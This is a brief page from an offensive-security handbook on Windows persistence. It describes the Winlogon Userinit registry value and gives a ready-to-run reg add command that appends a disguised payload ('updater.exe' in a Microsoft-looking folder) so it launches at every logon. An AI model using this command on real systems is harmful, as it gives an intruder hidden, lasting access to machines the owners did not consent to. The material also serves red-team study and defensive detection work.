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OOTW / Chapter II - Local / 04. Windows / 03. Persistence / Registry

Winlogon Userinit

Userinit is read during interactive logon. The default value normally points to:

C:\Windows\system32\userinit.exe,

Administrators can append a payload, but a bad value can break user logon.

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,C:\ProgramData\Microsoft\Windows\updater.exe" /f

This requires local administrator rights and triggers at logon.